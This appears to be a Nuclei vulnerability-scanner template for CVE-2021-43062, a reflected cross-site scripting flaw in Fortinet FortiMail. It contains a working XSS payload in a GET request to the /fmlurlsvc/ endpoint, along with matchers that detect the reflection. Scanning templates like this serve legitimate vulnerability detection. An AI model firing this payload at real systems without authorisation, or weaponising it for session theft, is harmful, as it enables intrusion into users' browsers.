nuclei-templates/http/cves/2021/CVE-2021-43062.yaml

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YAML

id: CVE-2021-43062
info:
name: Fortinet FortiMail 7.0.1 - Cross-Site Scripting
author: ajaysenr
severity: medium
description: A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-43062
- https://www.fortiguard.com/psirt/FG-IR-21-185
- https://www.exploit-db.com/exploits/50759
- https://fortiguard.com/advisory/FG-IR-21-185
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-43062
cwe-id: CWE-79
epss-score: 0.00709
epss-percentile: 0.78348
cpe: cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: fortinet
product: fortimail
tags: cve,cve2021,fortimail,xss,fortinet,edb
http:
- method: GET
path:
- "{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<Svg/onload=alert(document.domain)>"
- "FortiMail Click Protection"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
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